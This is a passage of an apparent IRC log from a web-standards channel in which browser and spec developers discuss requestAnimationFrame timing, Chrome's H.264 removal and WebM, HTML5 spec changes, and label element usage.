and will probably have a webkit-prefixed implementation to play with by that time as well

[16:34:00.0000] <heycam>
nice!

[17:00:00.0000] <MikeSmith>
http://emobile.jp/products/hw/s31hw/

[17:00:01.0000] <MikeSmith>
Android handset that doubles as a 7.2Mbps wifi router

[17:02:00.0000] <MikeSmith>
creates access point that up to 5 devices can connect to at same time

[17:09:00.0000] <nattokirai>
4

[17:10:00.0000] <TabAtkins>
I just figured out yesterday, after spending several days refusing to buy the expensive wifi at a hotel, that my phone can become a wifi router.

[17:17:00.0000] <AryehGregor>
Hixie, what sort of tests do you want for <http://www.w3.org/Bugs/Public/show_bug.cgi?id=10624>?  Manual tests that ask the user to make backwards selections?  Tests of the whole anchorNode/anchorOffset/focusNode/focusOffset functionality, even the parts I didn't touch?

[17:17:01.0000] <AryehGregor>
It seems like it can't be programmatically tested without support for extend().

[17:18:00.0000] <AryehGregor>
(in which case manual tests would still be desirable to check that it actually creates the expected selections when the user clicks and drags forwards or backwards, and those could be automated if we had a way to synthesize clicks or keypresses)

[17:19:00.0000] <TabAtkins>
Bwahaha, from @atopal: "Hilarious: people are threatening to switch to Firefox because of Goole's H.264 move."

[17:20:00.0000] <AryehGregor>
lol.

[17:26:00.0000] <roc>
jamesr_, heycam: the animationStartTime is also useful for keeping multiple JS animations in sync

[17:27:00.0000] <roc>
having all animations able to use the same time value seems useful even if we don't know exactly when the final frame will be presented

[17:29:00.0000] <roc>
jamesr_: actually I'd be disappointed if webkitRequestAnimationFrame doesn't support webkitAnimationTime or something like that from the beginning

[17:29:01.0000] <roc>
because if you don't, then we'll never be able to do it

[17:30:00.0000] <jamesr_>
roc: i think if you have multiple JS animations you want to keep in sync you would update them all in the same callback

[17:30:01.0000] <roc>
but you might be using different libraries

[17:30:02.0000] <MikeSmith>
TabAtkins: really? which phone?

[17:30:03.0000] <roc>
or have imported multiple scripts

[17:31:00.0000] <jamesr_>
but if they use Date.now() then it should still work

[17:31:01.0000] <roc>
no because multiple calls to Date.now() will return different results

[17:31:02.0000] <jamesr_>
ah, true

[17:31:03.0000] <heycam>
if you have written all the different callbacks, you can coordinate this saved animation frame time somewhere

[17:31:04.0000] <jamesr_>
so the problem with animationTime is that it's not useful for 'native' animations

[17:31:05.0000] <heycam>
but i guess it's just if you have independent scripts that it matters

[17:32:00.0000] <jamesr_>
you can set something on the window yourself, i suppose

[17:32:01.0000] <roc>
jamesr_: yes it is

[17:32:02.0000] <TabAtkins>
MikeSmith: Nexus S.

[17:32:03.0000] <jamesr_>
i don't think it is in our impl

[17:32:04.0000] <roc>
heycam: coordinating a single saved animation time with multiple callbacks is pretty hard

[17:32:05.0000] <roc>
jamesr_: it wasn't hard in our implementation

[17:33:00.0000] <roc>
why would it be hard in yours?

[17:33:01.0000] <heycam>
roc, hmm you would need to know which is the "first" callback, so that it could store the current time?

[17:33:02.0000] <roc>
right

[17:33:03.0000] <roc>
and there is no way to know that

[17:33:04.0000] <jamesr_>
roc: i actually implemented it

[17:33:05.0000] <jamesr_>
but the behavior wasn't what we wanted

[17:33:06.0000] <roc>
can you explain in more detail?

[17:33:07.0000] <jamesr_>
i can probably explain better in long form (i.e. email)

[17:33:08.0000] <jamesr_>
busy atm

[17:34:00.0000] <roc>
that'd be great

[17:41:00.0000] <Hixie>
AryehGregor: yeah i'd go for a lot of manual tests

[17:52:00.0000] <MikeSmith>
seems that changes are still being made for ES 5.1 https://mail.mozilla.org/pipermail/es5-discuss/2011-January/003882.html

[18:24:00.0000] <Sirisian>
Is Ian Fette here?

[18:28:00.0000] <jamesr_>
nope

[18:30:00.0000] <Sirisian>
darn. He's the WebSocket editor. Been wondering why there's no binary protocol yet after all this time. IRC stalking is hard :\

[18:34:00.0000] <hober>
it's after ordinary (Pacific Time) business hours; don't be surprised that Googlers aren't around

[18:35:00.0000] <Sirisian>
Yeah

[18:41:00.0000] <Sirisian>
hober, do you know what name he uses?

[18:41:01.0000] <Sirisian>
So I can recognize him when he joins

[18:41:02.0000] <Hixie>
ianfette, but try #chromium instead, he's more often there i believe

[18:41:03.0000] <Sirisian>
I just joined there

[18:42:00.0000] <Sirisian>
oh I see that's the name he uses

[18:42:01.0000] <Sirisian>
/me plays the waiting game

[18:43:00.0000] <Sirisian>
oddly enough I built an IRC bot a long time ago that alerts me when a person joins IRC. I could probably use it for this occasion :/

[18:44:00.0000] <heycam>
Sirisian, irc clients often have that functionality built in. try "/notify ianfette".

[18:46:00.0000] <jamesr_>
you could email

[18:46:01.0000] <Sirisian>
someone just said that

[18:49:00.0000] <cutepy>
hi, my i have a project to create a document sharing system. I would like to know how to convert pdf files uploaded by users to html

[18:52:00.0000] <heycam>
cutepy, you might try http://code.google.com/p/wkhtmltopdf/ or http://princexml.com/

[18:58:00.0000] <cutepy>
does any one know how to convert pdf to html 5 using HTML5Lib

[23:04:00.0000] <hsivonen>
AryehGregor, othermaciej: I believe the patent grant you want is http://www.webmproject.org/license/bitstream/

[23:05:00.0000] <othermaciej>
hsivonen: a link to that was posted earlier; thanks for mentioning it again

[23:18:00.0000] <MikeSmith>
this looks like a rare event

[23:18:01.0000] <MikeSmith>
*this looks like one of those rare conferences that might actually be worth going out of one's way to attend:

[23:18:02.0000] <MikeSmith>
http://www.wikicfp.com/cfp/servlet/event.showcfp?eventid=12537&copyownerid=9119

[23:18:03.0000] <MikeSmith>
maybe

[23:20:00.0000] <MikeSmith>
by way of Allen Wirfs-Brock blog: http://www.wirfs-brock.com/allen/posts/57

[23:20:01.0000] <MikeSmith>
Portland

[23:22:00.0000] <MikeSmith>
that and http://splashcon.org/2011/cfp/due-april-08-2011/101-wavefront

[23:22:01.0000] <MikeSmith>
ACM Splash Wavefront

[23:25:00.0000] <MikeSmith>
actually the Wavefront one looks even more interesting

[23:25:01.0000] <MikeSmith>
"The Wavefront program is looking for submissions about real systems from working software developers, not only academic researchers."

[23:33:00.0000] <MikeSmith>
program commitee: Allen Wirfs-Brock, Alex Russell, Brendan Eich, Dean Tribble, Douglas Crockford, Ward Cunningham

[00:06:00.0000] <MikeSmith>
/me now notices that Adam Barth and Collin Jackson on the program committee for USENIX WebApps conference

[00:06:01.0000] <MikeSmith>
http://www.usenix.org/events/webapps11/cfp/

[00:43:00.0000] <annevk>
a search for roc does not give me his blog

[00:43:01.0000] <annevk>
waddup Google?

[00:44:00.0000] <annevk>
someone else found the Mark Pilgrim quote: http://weblogs.mozillazine.org/roc/archives/2010/03/amor_robustum.html

[00:45:00.0000] <annevk>
wait no, that's not the quote

[00:45:01.0000] <annevk>
damnit

[00:58:00.0000] <MikeSmith>
yippee

[00:59:00.0000] <MikeSmith>
Henri landed my patch to the htmlparser code in mozilla-central

[00:59:01.0000] <annevk>
W3C is contributing code to Mozilla?

[00:59:02.0000] <MikeSmith>
for the track element

[00:59:03.0000] <MikeSmith>
well, I am

[00:59:04.0000] <annevk>
omg so biased

[00:59:05.0000] <MikeSmith>
heh

[01:00:00.0000] <MikeSmith>
I'm happy to contribute code to Opera as well

[01:00:01.0000] <annevk>
:)

[01:00:02.0000] <kennyluck>
hah. I am biased towards Mozilla too.

[01:00:03.0000] <MikeSmith>
this one was a really minor "contribution"

[01:00:04.0000] <MikeSmith>
simple patch

[01:01:00.0000] <MikeSmith>
but hey, it's a start

[01:02:00.0000] <annevk>
finally I found it

[01:02:01.0000] <annevk>
http://krijnhoetmer.nl/irc-logs/whatwg/20100318#l-65

[01:02:02.0000] <annevk>
some OCD right there

[01:05:00.0000] <MikeSmith>
Peter`: I thought fullscreen had already been implemented in Gecko

[01:06:00.0000] <MikeSmith>
btw, just found out about this today:

[01:06:01.0000] <MikeSmith>
https://wiki.mozilla.org/User:Jgoulie

[01:06:02.0000] <MikeSmith>
IAP HTML5 Game Programming Course and Competition

[01:06:03.0000] <Ms2ger>
Oh, Opera's implementing CSS gradients too? Cool

[01:07:00.0000] <annevk>
http://xkcd.com/846/ hahaha the tooltip-text song

[01:07:01.0000] <annevk>
Ms2ger, yeah

[01:07:02.0000] <MikeSmith>
course at MIT this week featuring Boris Zbarsky, Dave Herman, Chris Heilmann, more

[01:08:00.0000] <annevk>
Ms2ger, I tweeted about that somewhere last year

[01:08:01.0000] <annevk>
MikeSmith, wow

[01:08:02.0000] <Ms2ger>
Heh

[01:08:03.0000] <MikeSmith>
annevk: yeah

[01:08:04.0000] <MikeSmith>
they didn't advertise it very well

[01:09:00.0000] <annevk>
not even a blogpost at http://weblogs.mozillazine.org/bz/

[01:09:01.0000] <Ms2ger>
Twitter is pretty much the last thing I get to, if I ever get to it

[01:09:02.0000] <MikeSmith>
hopefully they'll do it again (or something similar) soon

[01:12:00.0000] <annevk>
so many great quotes hidden in the IRC logs

[01:12:01.0000] <MikeSmith>
I wonder if that course was free

[01:13:00.0000] <MikeSmith>
if it was, that's pretty amazing

[01:13:01.0000] <annevk>
maybe rather than just highlighting we should have reddit-style +/- for lines

[01:13:02.0000] <Rik`>
Ms2ger: link for Opera gradients ?

[01:13:03.0000] <annevk>
and then some way to aggregate all the ones with lots of attention

[01:13:04.0000] <Rik`>
MikeSmith: I think the course was not well advertised because it has been decided very recently

[01:14:00.0000] <MikeSmith>
Rik`: I see

[01:14:01.0000] <MikeSmith>
would be good to do it again

[01:14:02.0000] <Ms2ger>
http://www.w3.org/mid/op.vo55l8rnbbdj5y⊙poo

[01:14:03.0000] <MikeSmith>
I guess they have limited space though

[01:16:00.0000] <Rik`>
yeah for gradients \o/

[01:22:00.0000] <annevk>
Ms2ger, http://html5.org/specs/dom-range.html is up to date too now

[01:22:01.0000] <annevk>
Ms2ger, seems bitbucket fixed the issue

[01:24:00.0000] <annevk>
do people still want an Atom feed for HTML5 changes?

[01:24:01.0000] <Ms2ger>
It only worked once a day, IIRC

[01:24:02.0000] <annevk>
it should always just work, the problem was that the copy on bitbucket I was fetching was not always updated

[01:25:00.0000] <annevk>
I was thinking the other day that it would be pretty easy to generate an Atom feed now I get pings with check-in information from the specification

[01:26:00.0000] <Ms2ger>
The problem was, I think, that the bitbucket copy was cached as soon as you first wget'd it

[01:26:01.0000] <jgraham>
MikeSmith: You can always make binary patches for Opera :) e.g. http://my.opera.com/d.i.z./blog/2008/05/22/a-road-to-working-xpath

[01:26:02.0000] <Ms2ger>
Anyway, it works, so I'm happy :)

[01:26:03.0000] <Ms2ger>
And AryehGregor rocks

[01:27:00.0000] <annevk>
Ms2ger, well, from what I remember wget'ing it from somewhere else gave the same outdated information; including downloading it from the browser

[01:27:01.0000] <MikeSmith>
jgraham: hold god (just read that post)

[01:27:02.0000] <MikeSmith>
I seem to have remember reading that before

[01:27:03.0000] <MikeSmith>
wild stuff

[01:29:00.0000] <annevk>
he's actually doing QA on gradients among other things

[01:29:01.0000] <jgraham>
Yeah, our hiring process is tough ;)

[01:30:00.0000] <MikeSmith>
this reminds me of the guys in russia who hacked Opera Mini for benQ

[01:30:01.0000] <MikeSmith>
somehow

[01:30:02.0000] <MikeSmith>
I used to chat with those guys on IRC sometimes

[01:30:03.0000] <MikeSmith>
they added tabbed browsing

[01:30:04.0000] <MikeSmith>
and other stuff

[01:32:00.0000] <MikeSmith>
and then there's this http://besen.sourceforge.net/

[01:33:00.0000] <MikeSmith>
complete ECMAScript Fifth Edition Implemention in Object Pascal

[01:34:00.0000] <Ms2ger>
What's next, an HTML parser in basic?

[01:44:00.0000] <jgraham>
Well, elisp

[01:46:00.0000] <jgraham>
hober: On the subject of which, how is that going?

[01:48:00.0000] <hsivonen>
Is Delphi itself still supported?

[03:08:00.0000] <annevk>
re that twitter discussion

[03:09:00.0000] <annevk>
I think I would pick RF tech over "standard" tech

[03:35:00.0000] <hsivonen>
:-( looks like Thunderbird doesn't support format=flowed for text/plain composition

[03:37:00.0000] <hsivonen>
Is Apple's Mail really special for its support for text/plain; format=flowed composition?

[03:38:00.0000] <hsivonen>
I'd have thought that by now others would have caught up

[03:44:00.0000] <annevk>
pretty sure Opera supports that

[03:49:00.0000] <hsivonen>
http://diveintohtml5.org/video.html will need some new notation for indicating that Chrome no longer supports H.264 as of a certain release

[03:53:00.0000] <annevk>
it seems my fever is finally reducing

[03:53:01.0000] <annevk>
teehee

[03:53:02.0000] <annevk>
time to fix html5-diff for tomorrow

[03:54:00.0000] <hsivonen>
whoa. I didn't know <a href> allows spaces around the URL

[03:54:01.0000] <hsivonen>
that seems scary, but I guess it's all compatible

[03:54:02.0000] <annevk>
they are stripped

[03:55:00.0000] <annevk>
hsivonen, http://html5.org/tools/web-apps-tracker?from=4991&to=4992 was the change -- long time ago

[03:56:00.0000] <annevk>
based on a request by Maciej: http://www.w3.org/Bugs/Public/show_bug.cgi?id=9354

[03:57:00.0000] <annevk>
I really like how easy that is to figure out

[04:00:00.0000] <MikeSmith>
http://twitter.com/#!/__DavidFlanagan/status/24953286842916865 "console.log() for Web Workers! https://github.com/davidflanagan/WorkerConsole/raw/master/WorkerConsole.js"

[04:05:00.0000] <hsivonen>
Creative Commons license and even a NonCommercial one for software. FAIL.

[04:07:00.0000] <MikeSmith>
Dmitry Soshnikov's "ECMA-262-3 in detail" and "ECMA-262-5 in detail" are nice stuff

[04:07:01.0000] <MikeSmith>
http://jsmentors.com/Dmitry-A-Soshnikov.html

[04:08:00.0000] <MikeSmith>
and http://dmitrysoshnikov.com/ecmascript/javascript-the-core/

[04:14:00.0000] <hsivonen>
Is there a Web site that checks if a browser supports WebM and tells the user to upgrade (if using an old version of a browser whose latest version supports WebM) or to switch browsers (if using a browser that doesn't have a WebM-enabled version) and that  WebM-only Web sites can point visitors to?

[04:14:01.0000] <hsivonen>
Something like an outsourced help page so that every WebM-using site doesn't need to have one of its own

[04:15:00.0000] <Moo-->
hsivonen: If I were a web site developer I would not create WebM-only sites

[04:15:01.0000] <annevk>
hsivonen, if you make such a page I can host it on html5.org

[04:16:00.0000] <Moo-->
hsivonen: also, could it possible to have automatic plug-in download like Chrome Frame which makes IE/Safari download the related WebM-plugin? "This pages need the following plug-in to play the video..."

[04:17:00.0000] <annevk>
only 100 check-ins since last time

[04:17:01.0000] <annevk>
with about 4 noteworthy changes

[04:18:00.0000] <annevk>
admittedly there is a new global attribute, new element, and a new value for dir="", but still overall it confirms once again HTML5 is done

[04:19:00.0000] <hsivonen>
Moo--: We need authors who are gutsy enough to go WebM-only.

[04:19:01.0000] <hsivonen>
Moo--: It would make sense to point to downloadable codecs for IE and Safari if IE supported them and a codec pack was available for Safari.

[04:20:00.0000] <hsivonen>
Moo--: I just tested, and IE9PP7 doesn't support WebM when the DirectShow filters are installed.

[04:20:01.0000] <Moo-->
hsivonen: hmm... then you need some wrapper javascript and IE plug-in, not just codecs? The same ugly things you need to do today for Flash content.

[04:21:00.0000] <hsivonen>
Moo--: and it seems neither Perian nor the WebM project has made a release of a QuickTime component that supports WebM decoding

[04:21:01.0000] <hsivonen>
Moo--: or you can tell IE users to download Opera, Firefox 4 or Chrome (with these browsers appearing in a random-shuffled order)

[04:21:02.0000] <Rik`>
hsivonen: it seems Perian has WebM support in SVN

[04:22:00.0000] <hsivonen>
Rik`: yeah, but it doesn't make sense to tell J. Random User to pull from SVN and compile

[04:22:01.0000] <Rik`>
of course

[04:22:02.0000] <Rik`>
but at the same time, it does not make sense to ask to install Firefox 4

[04:22:03.0000] <Moo-->
hsivonen: we do what we always do - we wait :)

[04:23:00.0000] <hsivonen>
Rik`: well kinda. Firefox 4 beta is way more J. Random User-friendly than pulling from SVN

[04:23:01.0000] <hsivonen>
but the real solution is of course actually shipping Firefox 4 as non-beta

[04:24:00.0000] <Rik`>
and what will iPhone users do ?

[04:25:00.0000] <zcorpan>
MikeSmith: seems console is available in workers in opera although it doesn't actually log anything to the console

[04:25:01.0000] <hsivonen>
"Sorry, you have bougth into Apple's Curated Computing platform that doesn't allow a third party to deliver a WebM-enabled browser to you. Please petition Apple to support WebM."

[04:26:00.0000] <Rik`>
except websites with only a few users, who will say that ?

[04:26:01.0000] <hsivonen>
Let's find out.

[04:28:00.0000] <Rik`>
it's not pragmatic at all to support a format that only has around 20% marketshare

[04:28:01.0000] <Rik`>
*to only support

[04:29:00.0000] <Rik`>
in a couple of years, maybe

[04:29:01.0000] <hsivonen>
Some appreciation of freedom over pragmatics is needed to get freedom

[04:30:00.0000] <Rik`>
I'm just saying that it's too soon to launch such an effort

[04:30:01.0000] <hsivonen>
Once the Firefox userbase upgrades, the market share of WebM-enabled browsers in Finland will be around 66%

[04:31:00.0000] <annevk>
MikeSmith, http://dev.w3.org/html5/html4-differences/

[04:31:01.0000] <annevk>
(and everyone else who cares)

[04:31:02.0000] <Rik`>
I'm really waiting for hardware acceleration for WebM

[04:31:03.0000] <Rik`>
(and by that I mean hardware acceleration shipping, not planned)

[04:32:00.0000] <hsivonen>
I wonder how well the latest Firefox 4 beta for Android plays WebM

[04:32:01.0000] <hsivonen>
beta 2 wasn't good enough to recommend using for WebM playback

[04:32:02.0000] <Ms2ger>
annevk, you still have getSelection listed

[04:33:00.0000] <Rik`>
I think Paul was playing with that in the office and it was consuming a lot of battery

[04:33:01.0000] <Rik`>
but the playback was ok

[04:33:02.0000] <annevk>
Rik`, I don't think such an effort can be too soon; might just not have as much traction in the beginning as later

[04:33:03.0000] <smaug____>
hsivonen: I think beta 2 wasn't hw accelerated, but latest beta might be

[04:33:04.0000] <annevk>
Rik`, the message is important

[04:34:00.0000] <hsivonen>
annevk: thanks for the hosting offer. Let's see if I can get something done.

[04:36:00.0000] <Rik`>
is there any effort by Google to push WebM to the W3C ?

[04:37:00.0000] <Ms2ger>
Roc said standardization was being worked on, iirc

[04:37:01.0000] <annevk>
hmm, Ms2ger is not in the acknowledgments

[04:37:02.0000] <annevk>
Ms2ger, he did, on this IRC channel last night

[04:38:00.0000] <annevk>
Ms2ger, updated draft

[04:39:00.0000] <annevk>
Ms2ger, also mentioned UndoManager is gone for now

[04:39:01.0000] <Ms2ger>
Thanks

[04:42:00.0000] <smaug____>
UndoManager gone?

[04:42:01.0000] <jgraham>
From HTML5?

[04:42:02.0000] <jgraham>
Oh, that is good

[04:43:00.0000] <jgraham>
At least I couldn't work out what you were supposed to implement from the spec

[04:43:01.0000] <smaug____>
It is still there

[04:43:02.0000] <smaug____>
annevk: what did you mean?

[04:43:03.0000] <Ms2ger>
Not from WHATWG HTML

[04:43:04.0000] <jgraham>
Oh

[04:43:05.0000] <smaug____>
ah

[04:43:06.0000] <Ms2ger>
/me feels like fireworks

[04:44:00.0000] <zcorpan>
http://html5.org/r/5735

[04:44:01.0000] <smaug____>
UndoManager needs still some work to become useful...

[04:44:02.0000] <jgraham>
Well in that case, I still can't work out what you are supposed to implement given the spec text

[04:44:03.0000] <annevk>
smaug____, it is removed from the W3C copy of HTML5

[04:44:04.0000] <annevk>
smaug____, that is what I wrote in html5-diff

[04:44:05.0000] <Ms2ger>
jgraham, file a bug :)

[04:44:06.0000] <annevk>
(sorry for not being clear here)

[04:45:00.0000] <jgraham>
Ms2ger: Yeah, I should. But it would be like those bugs from the crazies

[04:45:01.0000] <smaug____>
/me doesn't follow W3C HTML5 work at all

[04:45:02.0000] <jgraham>
"I have no idea what this section is on about"

[04:46:00.0000] <annevk>
smaug____, I thought you preferred that variant?

[05:10:00.0000] <hsivonen>
Interesting. http://www.sonyinsider.com/2011/01/11/hands-on-with-sony-bravia-internet-browser/ suggests Opera on Bravia would ship with Java support but without Flash support

[05:12:00.0000] <hsivonen>
and indeed, only Sony Ericsson--not the big Sony itself--is listed as Adobe's bundling and porting partner

[05:13:00.0000] <tmzt>
will there be a standard way to dispatch messages from a server in a javascript application on the client? websocket messages or the like with an event callback api?

[05:13:01.0000] <hsivonen>
looks like Sony isn't letting Opera's logo be part of what the user sees

[05:14:00.0000] <Rik`>
tmzt: you have WebSockets and Server-sent events

[05:15:00.0000] <Rik`>
http://dev.w3.org/html5/websockets/ and http://dev.w3.org/html5/eventsource/

[05:28:00.0000] <tmzt>
Rik`: I see, so from my bad reading of the EBNF, events are json without the {} enclosure?

[05:29:00.0000] <tmzt>
is there an alternative mime type for binary events or multiple streams on one http connection?

[05:29:01.0000] <Rik`>
I'm not familiar with this

[05:33:00.0000] <annevk>
nope

[05:33:01.0000] <annevk>
multiple streams you could implement at the server I guess...

[05:45:00.0000] <annevk>
the amount of negative comments on http://blog.chromium.org/2011/01/html-video-codec-support-in-chrome.html is somewhat sad

[05:46:00.0000] <jgraham>
It's weird, like Gecko doesn't exist

[05:46:01.0000] <jgraham>
Or Opera for that matter

[05:49:00.0000] <jgraham>
Although reading the comments, a more likely interpretation is that people are idiots

[05:49:01.0000] <hsivonen>
jgraham: well, Gecko with WebM support doesn't exist as far as Web authors are concerned, because it hasn't shipped yet

[05:50:00.0000] <hsivonen>
jgraham: the likely explanation is that commenters came in from Daring Fireball links and similar fanboi venues

[05:50:01.0000] <hsivonen>
jgraham: on days like this, it's amusing to read jd's twitter stream for commentary

[05:51:00.0000] <jgraham>
hsivonen: I forget that people actually use Firefox 3.6

[05:51:01.0000] <annevk>
I wish Gruber was a bit more idealistic at times

[05:51:02.0000] <jgraham>
But even so, most of the comments make no sense

[05:52:00.0000] <hsivonen>
jgraham: https://twitter.com/#!/jdowdell/status/24939070509547520

[05:52:01.0000] <hsivonen>
annevk: if Apple shipped WebM, Gruber would be idealistic in a heartbeat

[05:52:02.0000] <Rik`>
when Apple removes support for an old technology, it's visionary :)

[05:53:00.0000] <jgraham>
/me is reminded of http://news.ycombinator.com/item?id=2062507

[05:53:01.0000] <gsnedders>
http://tech.slashdot.org/comments.pl?sid=1946532&cid=34842284

[05:53:02.0000] <hsivonen>
also, the obligatory "nothing to see here" jd tweet: https://twitter.com/#!/jdowdell/status/24978153059389440

[05:54:00.0000] <jgraham>
gsnedders: Your point being that we don't ship h.264 (at least on desktop)?

[05:54:01.0000] <gsnedders>
jgraham: We do on a single device.

[05:54:02.0000] <jgraham>
Oh, you said that

[05:55:00.0000] <annevk>
hsivonen, yeah, only very rarely is he not quite in alignment with Apple PR

[05:55:01.0000] <gsnedders>
But yeah, further to the misinformation above

[05:55:02.0000] <annevk>
hsivonen, still pretty good writing and links though

[05:55:03.0000] <jgraham>
Seriously, I have no idea why people read Gruber

[05:55:04.0000] <annevk>
jgraham, but you do not like reddit either :)

[05:56:00.0000] <annevk>
hsivonen, his tweets are funny

[05:57:00.0000] <annevk>
topmost Slashdot comment sides Opera with Safari and MSIE

[05:57:01.0000] <annevk>
+5 Interesting

[05:57:02.0000] <annevk>
o_O

[05:57:03.0000] <jgraham>
annevk: True. But Gruber is basically just an apple evangalist who happens to be not directly employed by apple.

[05:58:00.0000] <jgraham>
In general consuming marketing materials for fun or information seems bad

[05:59:00.0000] <Rik`>
jgraham: so you're saying that no one should read "evangelists" ?

[06:00:00.0000] <Ms2ger>
No, that no one should read Gruber :)

[06:00:01.0000] <jgraham>
Rik`: I'm saying "consuming marketing materials for fun or information seems bad"

[06:01:00.0000] <jgraham>
Gruber clearly produces marketing materials

[06:01:01.0000] <Rik`>
well, I've read Chrome marketing material about dropping H264 for information, which is bad, right ?

[06:01:02.0000] <Rik`>
and I assume you have done that too

[06:01:03.0000] <hsivonen>
jgraham: Gruber also posts interesting links. Also, his commentary on Flash is insightful, because when commenting on Flash, insightfulness aligns with Apple's agenda

[06:02:00.0000] <annevk>
jgraham, his interests overlap with mine and his commentary is really quite good I think

[06:02:01.0000] <annevk>
jgraham, I do think he should be more of an open web evangelist, but alas, not his thing

[06:03:00.0000] <hsivonen>
is this a good time to point out that Opera Mini 5.1 beta for S60 is bad at loading Daring Fireball?

[06:03:01.0000] <hsivonen>
fails about 2 times out of 3 for no apparent reason

[06:03:02.0000] <jgraham>
Rik`: Mostly I got that information from here

[06:03:03.0000] <annevk>
hsivonen, bugs.opera.com/wizard is a much better place

[06:03:04.0000] <hsivonen>
annevk: been there already

[06:07:00.0000] <annevk>
http://news.ycombinator.com/item?id=2093219 covers the Gruber thing too it seems

[06:07:01.0000] <annevk>
maybe I should read Hacker News more often

[06:13:00.0000] <Rik`>
http://www.salsitasoft.com/blog/2011/01/12/chrome-drops-h264/

[06:13:01.0000] <Rik`>
this looks like a fair overview

[06:15:00.0000] <annevk>
he misses H264 royalties for tools

[06:22:00.0000] <hsivonen>
annevk: "Let's use Handbrake / Miro Video Converter / etc." don't really help make the point about tool royalties...

[06:26:00.0000] <annevk>
I think it is really quite simple. If any vendor has to put up more money than the cost of engineering support for the technology the technology is not suitable for the web.

[06:27:00.0000] <hsivonen>
great. back when my server broke, in the course of the recovery, I forgot to tweak how Apache handles .gz

[06:28:00.0000] <Rik`>
also, I'm wondering why everyone is saying that Apple prefers H264 over WebM

[06:29:00.0000] <Rik`>
I've read that they pay more in royalties for H264 than they receive money

[06:29:01.0000] <annevk>
I suspect they prefer it because all their hardware and software revolves around it.

[06:29:02.0000] <rimantas>
because iP*s can decode h.264 in hardware

[06:30:00.0000] <hsivonen>
Rik`: they are said to "prefer" what they ship over what they don't ship

[06:31:00.0000] <Rik`>
but Apple is often changing technologies

[06:32:00.0000] <hsivonen>
Rik`: I'm sure people would say Apple prefers WebM if Steve got on stage and said www.apple.com henceforth serves WebM to Safari

[06:32:01.0000] <karlcow>
/me is rediscovering http://www.w3.org/MarkUp/html3/blockquotes.html

[06:33:00.0000] <karlcow>
and http://www.w3.org/MarkUp/html3/credits.html

[06:33:01.0000] <Ms2ger>
Yay HTML3

[06:34:00.0000] <annevk>
Opera had support for it

[06:34:01.0000] <annevk>
<bq>

[06:34:02.0000] <Rik`>
hsivonen: Apple has also often changed his mind

[06:34:03.0000] <annevk>
gsnedders got most of it killed

[06:34:04.0000] <Ms2ger>
/me wants <bbq>

[06:34:05.0000] <Ms2ger>
Yay gsnedders!

[06:34:06.0000] <Rik`>
Steve one day said "we'll never do a phone"

[06:35:00.0000] <hsivonen>
Rik`: sure, but it's reasonable for people to say that Apple prefers H.264 in the present tense

[06:35:01.0000] <karlcow>
<ribs><sauce flavor="texas"/></ribs>

[06:35:02.0000] <Rik`>
hsivonen: they said that and the next sentence is "Apple will never drop H264 in favor of WebM"

[06:36:00.0000] <jgraham>
Our "support" for <bq> has implementing a weird interface that was like HTMLElement in all but name, or something

[06:36:01.0000] <hsivonen>
Rik`: well, that's not a sensible thing to say

[06:37:00.0000] <karlcow>
I like the fact that <credit> was inside <bq>. It is useful sometimes.

[06:38:00.0000] <karlcow>
still craving for a better way to make quotes with attribution in html. :)

[06:42:00.0000] <hsivonen>
karlcow: it's easier if you just let go of semantics and write the attribution in a user-readable way

[06:43:00.0000] <karlcow>
hsivonen: agreed with the user-readable way :)

[06:44:00.0000] <karlcow>
as for semantics, there are moments where it is useful for some categories of people to have a better model. I gave up trying to convince the htmlwg a long time ago. I'm doing my own things. ;)

[06:45:00.0000] <karlcow>
which is non conformant according to the spec :)

[07:19:00.0000] <AryehGregor>
annevk, were you looking for this quote by mpilgrim?  (I couldn't find it in the #whatwg logs, but I didn't look very hard.)  http://weblogs.mozillazine.org/roc/archives/2010/03/amor_robustum.html

[07:20:00.0000] <annevk>
I found it earlier today

[07:20:01.0000] <annevk>
roc is quoting Gruber there

[07:20:02.0000] <annevk>
mpilgrim's quote is here: http://krijnhoetmer.nl/irc-logs/whatwg/20100318#l-65

[07:30:00.0000] <jgraham>
roc's argument equally applies to what mpilgrim said

[07:40:00.0000] <gsnedders>
annevk: We had support of it insofar as it got the HTMLQuoteElement interface, but that was it. We hardly had support for it to start with. :P

[08:02:00.0000] <annevk>
hsivonen, I was wondering whether to bite; glad you did

[09:26:00.0000] <annevk>
http://daringfireball.net/linked/2011/01/12/slashdot-comment now he's pushing it

[09:26:01.0000] <annevk>
wtf

[09:28:00.0000] <TabAtkins>
Dude what.

[09:28:01.0000] <TabAtkins>
Nothing in that entire comment made any sense.

[09:31:00.0000] <jgraham>
/me will be good and resist mentioning the pro-Gruber statements earlier about him  having good commetary and a sensible position on flash

[09:31:01.0000] <jgraham>
Although it seems I will meta-mention it

[09:32:00.0000] <annevk>
I think your attempt at doing that just failed, yes :)

[09:32:01.0000] <jgraham>
But seriously, wtf barely covers it

[09:34:00.0000] <jgraham>
And now back to your regularly scheduled light entertainment: http://superuser.com/questions/231273/what-are-the-windows-a-and-b-drives-used-for

[09:37:00.0000] <Ms2ger>
/me feels old

[09:37:01.0000] <Ms2ger>
Damn you, jgraham

[09:38:00.0000] <gsnedders>
I, /I/, feel old.

[09:38:01.0000] <TabAtkins>
omg

[09:40:00.0000] <jgraham>
I made gsnedders feel old? That but be the sound of victory! What do I win?

[09:40:01.0000] <gsnedders>
jgraham: Nah, I felt old when I saw it on Twitter last nigh t;P

[09:40:02.0000] <gsnedders>
*night

[09:41:00.0000] <jgraham>
So even the ews feels old?

[09:41:01.0000] <jgraham>
*news

[09:41:02.0000] <jgraham>
The ewes are an entirely differnt matter

[09:50:00.0000] <bga_>
when webkit will supports Float64Array? Anybody know?

[09:53:00.0000] <Ms2ger>
The Chrome team did manage to flood my feed reader, that much is clear

[10:40:00.0000] <mven>
hixie got a quick question for you in the html5 label element spec

[10:40:01.0000] <Hixie>
sure

[10:41:00.0000] <mven>
i'm used to putting labels right next to my inputs like so: <label for="myInput">My Name</label><input type="text" id="myName" />

[10:41:01.0000] <mven>
however

[10:42:00.0000] <mven>
in the html5 see that labels are wrarpped around the input now

[10:42:01.0000] <Ms2ger>
Both are fine

[10:42:02.0000] <mven>
is there a significant difference in doing it the way I've always had and can i keep doing it even if I start using the html5 doctype ?

[10:43:00.0000] <TabAtkins>
Labels were always wrappable around the input.  That just makes it so that you don't have to use @for.

[10:44:00.0000] <TabAtkins>
Check the first paragraph of that section of the spec: "The caption can be associated with a specific form control, known as the label element's labeled control, either using for attribute, or by putting the form control inside the label element itself."

[10:45:00.0000] <mven>
Ahh

